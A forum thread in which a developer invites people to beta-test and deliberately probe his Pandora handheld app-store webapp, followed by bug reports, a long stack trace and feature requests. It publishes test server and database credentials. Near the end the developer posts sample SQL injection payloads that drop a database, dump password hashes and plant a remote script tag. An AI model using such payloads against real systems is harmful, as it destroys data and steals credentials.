Beta Box


dflemstr

It's a ball.
Joined
Jul 31, 2008
Messages
2,514
Location
Stockholm, Sweden
Website
Visit site
Hello everyone,
This Sunday, I was talking to craigix about appstores and such. Long story short, I decided to create my own implementation of an application management webapp as an experiment and just for fun. After a couple of days of hacking, I ended up with something that was quite nice; the webapp has some unique features and is blazingly fast (at least on my LAN; users with higher ping will of course have latency).

Anyways, I'd like to see what everyone thinks of it, whether they can find any bugs etc. So, I'll let everyone have their way with it.

NOTE that this is in-development. There are a lot of things missing, and I'll take the server down from time to time to make upgrades.
(An upgrade does typically take up to 6 seconds)

Beta testing
This is what I want any potential beta testers to do:
  • Go to http://dflemstr.dyndns.org:8088/
  • Create an user (click on the arrow beside the User menu → Register)
  • Upload applications by means of PND files. Use the scripts in pandora-libraries to create PND files or use Google to find some (yes, they do exist already). There are also a few in the Pandora File Archive and in the Git repo.
  • Make comments, ratings, use filters, etc...
  • Tell me what you think. Everything that is marked with "TODO" is obviously not finished yet, but other than that: If there's a feature you're missing, tell me about it, and if there's something that is weird, also tell me about that.

Additional information
I really want you to try doing something nasty, (To the Box app; NOT to the server please!) so I'll give you some info to aid you:
Logging in on the server (via e.g. SSH)
User: 'box'
Password: 'Hello, World!'
(This is an user account set up specifically for this purpose)

MySQL:
User: 'box_user'
Password: 'abc123'
Database: 'box'@'localhost'

File storage:
Path: '/var/box'
Permissions: 'jetty:jetty'

Servlet container
Server: Jetty 6.1.20
Using the NIO connector + persistent closures for long requests ( B) )

Good luck!

Screenshots
apfsw4_th.png

205yuxv_th.png
 

Attachments

  • apfsw4_th.png
    apfsw4_th.png
    4.2 KB · Views: 180
  • 205yuxv_th.png
    205yuxv_th.png
    4.2 KB · Views: 168
Looks great...
Are you able to make it also work as a repository so we can download from package managers [whichever the Pandora uses]? (apt-get :D )
 
kingoddball said:
Looks great...
Are you able to make it also work as a repository so we can download from package managers [whichever the Pandora uses]? (apt-get :D )
Able? Yes. Willing? Not yet, I have more important stuff to fix first. But I'll definitely create a local tool later in the development of this (after I've had more than 3 days to work on it).
 
Last edited by a moderator:
It's been almost a day and nobody has done anything? Not getting into the database, I can understand that; but nobody has even uploaded an application...

I must've underestimated the users of GP32X greatly ;)
 
mhm... first try uploading something caused an error... don't know why..

EDIT: maybe because it wasn't a valid pnd ;) a second try with a valid one was a success...


seems pretty solid :)

EDIT2: seems to have some problems with long comments:

Code:
Exception occured while processing /applications/3/show

Message: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'body_c' at row 1
	com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:2939)
	com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:1623)
	com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:1715)
	com.mysql.jdbc.Connection.execSQL(Connection.java:3249)
	com.mysql.jdbc.PreparedStatement.executeInternal(PreparedStatement.java:1268)
	com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:1541)
	com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:1455)
	com.mysql.jdbc.PreparedStatement.executeUpdate(PreparedStatement.java:1440)
	net.liftweb.mapper.DriverType$$anonfun$performInsert$1.apply(Driver.scala:78)
	net.liftweb.mapper.DriverType$$anonfun$performInsert$1.apply(Driver.scala:76)
	net.liftweb.mapper.DB$$anonfun$runPreparedStatement$2.apply(DB.scala:557)
	net.liftweb.mapper.DB$$anonfun$runPreparedStatement$2.apply(DB.scala:556)
	net.liftweb.util.TimeHelpers$class.calcTime(TimeHelpers.scala:249)
	net.liftweb.util.Helpers$.calcTime(Helpers.scala:34)
	net.liftweb.mapper.DB$.runPreparedStatement(DB.scala:555)
	net.liftweb.mapper.DB$.prepareStatement(DB.scala:498)
	net.liftweb.mapper.DriverType.performInsert(Driver.scala:75)
	net.liftweb.mapper.MetaMapper$$anonfun$16.apply(MetaMapper.scala:860)
	net.liftweb.mapper.MetaMapper$$anonfun$16.apply(MetaMapper.scala:782)
	net.liftweb.mapper.DB$$anonfun$use$1.apply(DB.scala:579)
	net.liftweb.util.DynoVar$class.run(ThreadGlobal.scala:95)
	net.liftweb.mapper.DB$currentConn$.run(DB.scala:566)
	net.liftweb.mapper.DB$.use(DB.scala:576)
	net.liftweb.mapper.MetaMapper$class.save(MetaMapper.scala:781)
	org.openpandora.box.model.Comment$.save(Comment.scala:17)
	net.liftweb.mapper.Mapper$$anonfun$save$1.apply(Mapper.scala:90)
	net.liftweb.mapper.Mapper$$anonfun$save$1.apply(Mapper.scala:90)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.mapper.Safe$.runSafe(Safe.scala:45)
	net.liftweb.mapper.Mapper$class.runSafe(Mapper.scala:56)
	org.openpandora.box.model.Comment.runSafe(Comment.scala:9)
	net.liftweb.mapper.Mapper$class.save(Mapper.scala:89)
	org.openpandora.box.model.Comment.save(Comment.scala:9)
	org.openpandora.box.snippet.Applications.doCreateComment$1(Applications.scala:122)
	org.openpandora.box.snippet.Applications$$anonfun$makeCommentForm$1$2.apply(Applications.scala:128)
	org.openpandora.box.snippet.Applications$$anonfun$makeCommentForm$1$2.apply(Applications.scala:128)
	net.liftweb.http.S$NFuncHolder$$anonfun$apply$57.apply(S.scala:2110)
	net.liftweb.http.S$NFuncHolder$$anonfun$apply$57.apply(S.scala:2110)
	scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:238)
	scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:238)
	scala.collection.LinearSeqLike$class.foreach(LinearSeqLike.scala:97)
	scala.collection.immutable.List.foreach(List.scala:46)
	scala.collection.TraversableLike$class.map(TraversableLike.scala:238)
	scala.collection.immutable.List.map(List.scala:46)
	net.liftweb.http.S$NFuncHolder.apply(S.scala:2110)
	net.liftweb.http.S$ProxyFuncHolder.apply(S.scala:2035)
	net.liftweb.http.LiftSession$$anonfun$buildFunc$1$2.apply(LiftSession.scala:383)
	net.liftweb.http.LiftSession$$anonfun$12$$anonfun$apply$28.apply(LiftSession.scala:399)
	net.liftweb.http.LiftSession$$anonfun$12$$anonfun$apply$28.apply(LiftSession.scala:399)
	scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:238)
	scala.collection.TraversableLike$$anonfun$map$1.apply(TraversableLike.scala:238)
	scala.collection.LinearSeqLike$class.foreach(LinearSeqLike.scala:97)
	scala.collection.immutable.List.foreach(List.scala:46)
	scala.collection.TraversableLike$class.map(TraversableLike.scala:238)
	scala.collection.immutable.List.map(List.scala:46)
	net.liftweb.http.LiftSession$$anonfun$12.apply(LiftSession.scala:399)
	net.liftweb.http.LiftSession$$anonfun$12.apply(LiftSession.scala:388)
	scala.collection.TraversableLike$$anonfun$flatMap$1.apply(TraversableLike.scala:259)
	scala.collection.TraversableLike$$anonfun$flatMap$1.apply(TraversableLike.scala:259)
	scala.collection.LinearSeqLike$class.foreach(LinearSeqLike.scala:97)
	scala.collection.immutable.List.foreach(List.scala:46)
	scala.collection.TraversableLike$class.flatMap(TraversableLike.scala:259)
	scala.collection.immutable.List.flatMap(List.scala:46)
	net.liftweb.http.LiftSession.runParams(LiftSession.scala:387)
	net.liftweb.http.LiftSession.processRequest(LiftSession.scala:581)
	net.liftweb.http.LiftServlet.net$liftweb$http$LiftServlet$$dispatchStatefulRequest(LiftServlet.scala:285)
	net.liftweb.http.LiftServlet$$anonfun$3.apply(LiftServlet.scala:188)
	net.liftweb.http.LiftServlet$$anonfun$3.apply(LiftServlet.scala:188)
	net.liftweb.http.S$.net$liftweb$http$S$$wrapQuery(S.scala:989)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_nest2InnerInit$1$$anonfun$apply$26.apply(S.scala:1129)
	net.liftweb.http.S$.net$liftweb$http$S$$doAround(S.scala:926)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$doAround$1.apply(S.scala:927)
	net.liftweb.mapper.DB$$anon$1$$anonfun$apply$11.recurseMe$1(DB.scala:197)
	net.liftweb.mapper.DB$$anon$1$$anonfun$apply$11$$anonfun$recurseMe$1$1.apply(DB.scala:204)
	net.liftweb.mapper.DB$$anon$1$$anonfun$apply$11$$anonfun$recurseMe$1$1.apply(DB.scala:204)
	net.liftweb.mapper.DB$$anonfun$use$1.apply(DB.scala:579)
	net.liftweb.util.DynoVar$class.run(ThreadGlobal.scala:95)
	net.liftweb.mapper.DB$currentConn$.run(DB.scala:566)
	net.liftweb.mapper.DB$.use(DB.scala:576)
	net.liftweb.mapper.DB$$anon$1$$anonfun$apply$11.recurseMe$1(DB.scala:204)
	net.liftweb.mapper.DB$$anon$1$$anonfun$apply$11.apply(DB.scala:206)
	net.liftweb.util.DynoVar$class.run(ThreadGlobal.scala:95)
	net.liftweb.mapper.DB$$anon$1$DepthCnt$.run(DB.scala:187)
	net.liftweb.mapper.DB$$anon$1.apply(DB.scala:190)
	net.liftweb.http.S$.net$liftweb$http$S$$doAround(S.scala:927)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_nest2InnerInit$1.apply(S.scala:1127)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$.net$liftweb$http$S$$_nest2InnerInit(S.scala:1126)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_innerInit$1$$anonfun$apply$29$$anonfun$apply$30$$anonfun$apply$31$$anonfun$apply$32.apply(S.scala:1152)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$.withReq(S.scala:1161)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_innerInit$1$$anonfun$apply$29$$anonfun$apply$30$$anonfun$apply$31.apply(S.scala:1151)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_innerInit$1$$anonfun$apply$29$$anonfun$apply$30.apply(S.scala:1150)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_innerInit$1$$anonfun$apply$29.apply(S.scala:1149)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$net$liftweb$http$S$$_innerInit$1.apply(S.scala:1148)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$.net$liftweb$http$S$$_innerInit(S.scala:1147)
	net.liftweb.http.S$$anonfun$_init$1$$anonfun$apply$39$$anonfun$apply$40$$anonfun$apply$41$$anonfun$apply$42$$anonfun$apply$43.apply(S.scala:1201)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$_init$1$$anonfun$apply$39$$anonfun$apply$40$$anonfun$apply$41$$anonfun$apply$42.apply(S.scala:1200)
	net.liftweb.http.CoreRequestVarHandler$class.apply(Vars.scala:329)
	net.liftweb.http.RequestVarHandler$.apply(Vars.scala:250)
	net.liftweb.http.S$$anonfun$_init$1$$anonfun$apply$39$$anonfun$apply$40$$anonfun$apply$41.apply(S.scala:1199)
	net.liftweb.http.CoreRequestVarHandler$class.apply(Vars.scala:329)
	net.liftweb.http.TransientRequestVarHandler$.apply(Vars.scala:254)
	net.liftweb.http.S$$anonfun$_init$1$$anonfun$apply$39$$anonfun$apply$40.apply(S.scala:1198)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$_init$1$$anonfun$apply$39.apply(S.scala:1197)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$$anonfun$_init$1.apply(S.scala:1196)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.S$._init(S.scala:1195)
	net.liftweb.http.S$.init(S.scala:834)
	net.liftweb.http.LiftServlet.doService(LiftServlet.scala:187)
	net.liftweb.http.LiftServlet$$anonfun$doIt$1$1.apply(LiftServlet.scala:86)
	net.liftweb.http.LiftServlet$$anonfun$doIt$1$1.apply(LiftServlet.scala:86)
	net.liftweb.util.TimeHelpers$class.calcTime(TimeHelpers.scala:249)
	net.liftweb.util.Helpers$.calcTime(Helpers.scala:34)
	net.liftweb.util.TimeHelpers$class.logTime(TimeHelpers.scala:258)
	net.liftweb.util.Helpers$.logTime(Helpers.scala:34)
	net.liftweb.http.LiftServlet.doIt$1(LiftServlet.scala:85)
	net.liftweb.http.LiftServlet.service(LiftServlet.scala:96)
	net.liftweb.http.provider.HTTPProvider$$anonfun$service$3.apply(HTTPProvider.scala:61)
	net.liftweb.http.provider.HTTPProvider$$anonfun$service$3.apply(HTTPProvider.scala:61)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.URLRewriter$.doWith(Req.scala:574)
	net.liftweb.http.provider.HTTPProvider$class.service(HTTPProvider.scala:60)
	net.liftweb.http.LiftFilter.service(LiftServlet.scala:572)
	net.liftweb.http.provider.servlet.ServletFilterProvider$class.protected$service(ServletFilterProvider.scala:67)
	net.liftweb.http.LiftFilter.protected$service(LiftServlet.scala:572)
	net.liftweb.http.provider.servlet.ServletFilterProvider$$anonfun$doFilter$1$$anonfun$apply$1.apply(ServletFilterProvider.scala:67)
	net.liftweb.http.provider.servlet.ServletFilterProvider$$anonfun$doFilter$1$$anonfun$apply$1.apply(ServletFilterProvider.scala:62)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10$$anonfun$apply$11$$anonfun$apply$12.apply(Vars.scala:335)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10$$anonfun$apply$11.apply(Vars.scala:334)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10.apply(Vars.scala:333)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9.apply(Vars.scala:332)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$class.apply(Vars.scala:331)
	net.liftweb.http.RequestVarHandler$.apply(Vars.scala:250)
	net.liftweb.http.provider.servlet.ServletFilterProvider$$anonfun$doFilter$1.apply(ServletFilterProvider.scala:61)
	net.liftweb.http.provider.servlet.ServletFilterProvider$$anonfun$doFilter$1.apply(ServletFilterProvider.scala:61)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10$$anonfun$apply$11$$anonfun$apply$12.apply(Vars.scala:335)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10$$anonfun$apply$11.apply(Vars.scala:334)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9$$anonfun$apply$10.apply(Vars.scala:333)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$$anonfun$apply$9.apply(Vars.scala:332)
	net.liftweb.util.ThreadGlobal.doWith(ThreadGlobal.scala:71)
	net.liftweb.http.CoreRequestVarHandler$class.apply(Vars.scala:331)
	net.liftweb.http.TransientRequestVarHandler$.apply(Vars.scala:254)
	net.liftweb.http.provider.servlet.ServletFilterProvider$class.doFilter(ServletFilterProvider.scala:60)
	net.liftweb.http.LiftFilter.doFilter(LiftServlet.scala:572)
	org.mortbay.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1153)
	org.mortbay.jetty.servlet.ServletHandler.handle(ServletHandler.java:388)
	org.mortbay.jetty.security.SecurityHandler.handle(SecurityHandler.java:216)
	org.mortbay.jetty.servlet.SessionHandler.handle(SessionHandler.java:182)
	org.mortbay.jetty.handler.ContextHandler.handle(ContextHandler.java:765)
	org.mortbay.jetty.webapp.WebAppContext.handle(WebAppContext.java:418)
	org.mortbay.jetty.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:230)
	org.mortbay.jetty.handler.HandlerCollection.handle(HandlerCollection.java:114)
	org.mortbay.jetty.handler.HandlerWrapper.handle(HandlerWrapper.java:152)
	org.mortbay.jetty.Server.handle(Server.java:326)
	org.mortbay.jetty.HttpConnection.handleRequest(HttpConnection.java:536)
	org.mortbay.jetty.HttpConnection$RequestHandler.content(HttpConnection.java:928)
	org.mortbay.jetty.HttpParser.parseNext(HttpParser.java:755)
	org.mortbay.jetty.HttpParser.parseAvailable(HttpParser.java:218)
	org.mortbay.jetty.HttpConnection.handle(HttpConnection.java:405)
	org.mortbay.io.nio.SelectChannelEndPoint.run(SelectChannelEndPoint.java:409)
	org.mortbay.thread.QueuedThreadPool$PoolThread.run(QueuedThreadPool.java:582)
 
Awesome job dflemstr I really like where this is going.

And bonus points for going through with it, I have no time or skillz to make a proper database driven appstore.

:D



EDIT: Why are googleapis.com scripts needed?

EDIT2: I think the reason why you aren't getting testers is b/c of the very vague thread name "The Box". I only clicked on thread randomly.
 
senorgomez said:
Awesome job dflemstr I really like where this is going.
Thanks, and thanks for the bug report above; I should have it fixed soonish.
senorgomez said:
And bonus points for going through with it, I have no time or skillz to make a proper database driven appstore.
Am I the only one who thinks it's easier to use databases compared to other alternatives? <_<
senorgomez said:
EDIT: Why are googleapis.com scripts needed?
The GoogleAPIs project was started with the following idea:
Most pages you visit usually references its own set of commonly used JavaScript libraries, e.g. jQuery, jQueryUI etc. These JS libraries are stored on a server belonging to that site. The user therefore has to download the same 'jquery.js' file for every site he/she visits which is a waste of bandwidth. Someone therefore came up with the idea that common JS libraries should be stored at common URLs to reduce bandwidth consumption of rich-media web sites, and, well, Google offered to host the files (and started pushing it as their own idea of course)... Read more about this at: http://code.google.com/apis/ajaxlibs/documentation/
senorgomez said:
EDIT2: I think the reason why you aren't getting testers is b/c of the very vague thread name "The Box". I only clicked on thread randomly.
Well, I could create a new thread with a new name if it comes down to that, or if a mod sees this, s/he should feel free to rename the thread.
 
Last edited by a moderator:
Awwww, I was going to report long comments, but LeChuck ninja'd me :(

EDIT: Also, as you said, a bit light on features, and not very pandora friendly in terms of UI (small elements and so on), but otherwise looks like a good start :)
 
Yeah, I designed the UI in a rush, it definitely needs to be improved... It *does* work pretty well on a small display, though (I tested with 800x600), and it "stretches" so I was able to use it on a mobile phone, no problem.

But if someone wants to design a better UI, I'll send him/her the template files (They are pure HTML files so no need to understand any code)

Anyways, comment length issue fixed.
 
New stuff:
  • The PM system actually works now
  • You'll soon find nifty diagrams and overviews on the front page, and on your user page.
  • There'll be more laziness from the server soon, too. (aka. only load applications once you've scrolled them into view)
  • More filter functions! Search for wacky things like "title:exaile uploader:dflemstr version:1.2.3.4 description:GTK"

BTW, I reset the database, just to mess with you all ;)
 
But my comments were so nice! Why did you reset them heheh

Well I am too daft to think of anything too nasty. TBH I am googling as I go to figure out common techniques. You can upload any file size that ends in .pnd which is a hassle. I think you can probably upload the beginning bytes to see if it is a valid pnd file, then go through with the rest. Just need to see if I can poison the metadata now heh.


I assumed everyone knew that this is framework testing. I am sure future features and such will be for another thread, and you should start one in Development so I can get those ideas out of my head heh. Unless you want that here as well.


Edit: Are you going to wrap this software in its own browser or w/e so it is like a fullscreen app? What is the default browser going to be for pandora, cause I don't think it will be able to handle all the fancy jquery well. Just a hunch.

Edit2: Just saw this on reddit:
http://www.youtube.com/watch?v=cn4AIAFhULE&feature=player_embedded
 
senorgomez said:
I assumed everyone knew that this is framework testing. I am sure future features and such will be for another thread, and you should start one in Development so I can get those ideas out of my head heh. Unless you want that here as well.
Will do, later today. Once I'm feature-complete with what *I* want to implement.

senorgomez said:
Edit: Are you going to wrap this software in its own browser or w/e so it is like a fullscreen app? What is the default browser going to be for pandora, cause I don't think it will be able to handle all the fancy jquery well. Just a hunch.
The Pandora will use Arora as the default browser, with Midori and Firefox as fallbacks. All three are among the fastest browsers in existence, so no problem there, and honestly: if the Pandora can handle 3D and thousands of sprites, it should be able to handle a maximum of 2 simultaneous animated rectangles ;) (WebKit and Gecko both use OpenVG in their backends anyways, so all drawing is hardware accelerated if the driver supports it, which the SGX should)

Oh and I'll keep the webapp as a web page; then it can be accessed from all kinds of browsers and all kinds of platforms instead of just via some random dedicated app.
 
Last edited by a moderator:
Maybe it is handy to make a program in which you can Download + Manage your Downloads (put them in the right directory, or a standard one), notify the user of updates, Run and delete .pnd files.

EDIT:

Ow, and maybe you could make the icons clickable.

EDIT 2:

Or you could implement some of idea's mentioned above in the user system
 
bugs? :
-can only view comments when logged in.
-it allowed me to upload an exact PND that already exists in repository.

suggestions :
-add a page for new or recently added PNDs.
-add capability to search by date a PND was added to repository.
-when constructing filter, I would prefer that "Category" is a pulldown menu or checkboxes of available cagetories.
-add capability to change/reset password

overall, looks good!
 
overjupiter said:
bugs? :
-can only view comments when logged in.
-it allowed me to upload an exact PND that already exists in repository.


But... but... I was the one that uploaded Angry Dwarfs a million times! J/k, the more testing the better.

But I can view comments and I am not logged in.

dflemstr, can you just tell us what proper sql injection is like? I think I am doing it wrong.
 
Last edited by a moderator:
senorgomez said:
dflemstr, can you just tell us what proper sql injection is like? I think I am doing it wrong.
Code:
'; drop database box;--
Result:
Code:
Query OK, 9 rows affected (1.60 sec)

or
Code:
'; select password_slt, password_pw from users;--
Result:
Code:
+------------------+------------------------------+
| password_slt     | password_pw                  |
+------------------+------------------------------+
| TBCM0KIMKQ4EC1KD | 31P+uxFfqGkNU74fiU8uR38k1hY= |
| CZE14ADMSCMXSQMJ | cpk9w7mAQAqNxTrDbR/y391nkW0= |
| DTFNZJEEDLD3JXQT | YlMoQsVg2B7WEyVT7bDcsfnJ/yw= |
| LVDGU5UCF2MLC003 | kr4AGmZxyHCF2Ul0na/giwm8jDg= |
| YQHU04CAXPIKUINM | FCSYhWOoiOxArfgt5rfy+YWNEOk= |
| Q5LJPDSV1DKSNCZV | i4XSKlU69DfN7zmW8EVrN1E2nlY= |
| 5XNO1SA2TRWF0E1K | ivHzpTTc0lTvmDPMcSzQANV1Rc0= |
| YNMI4GP2EDUZ0TUB | WQPiHDABc0C5fdWtqbA+TZ2mVXE= |
| W1OOW3FVDNRFSB1X | NVF/Tgi7F0eWo5HaaaWlevnNu8I= |
+------------------+------------------------------+
9 rows in set (0.00 sec)

or
Code:
'; insert into comments (body_c, date_c, user_c, application) values ('<script type="text/javascript" src="http://mypage.com/myadd.js"></script>', '2010-05-06 21:54:30', 1, 1);--
Result:
Code:
Query OK, 1 row affected (0.02 sec)
But I won't actually render that as HTML; I escape it before I send it to the browser ;)
etc...

None of those work, of course (at least to the extent that I've tried to inject them) but others might.



Oh and I'm switching DB backend at the moment (I want more speed) so there won't be any updates for a while.
 
Last edited by a moderator:
Should give us an update sometime mate :D

Maybe make a new thread to ramp up the interest. Them thar pandoras are a comin'!
 
Back
Top